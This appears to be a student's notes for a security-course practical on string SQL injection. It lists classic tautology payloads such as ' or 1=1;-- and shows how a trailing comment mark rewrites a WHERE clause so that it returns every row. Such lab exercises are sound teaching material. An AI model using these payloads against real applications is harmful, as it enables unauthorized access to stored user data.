st2512Practical4

<input name="password" type="password" size="10" maxlength="8">

# String SQL injection for stage 1
' or 'a'='a';--
' or 1=1;--
abc' or 1=1;--

Select field1, field2 from table where username="" and password ='abc' or 1=1;--

Solution:

As we can see from the above picture, the SQL statement is

SELECT * FROM user_data WHERE last_name = 'Your Name'
Instead, we can use comment mark to ignore the end single quote.

Attacking Input: Smith' or 1=1; -- ("--" is comment mark, anything followed will be ignored)
Smith' or '1'='1'; --

Then the SQL statement will become:

SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1; --'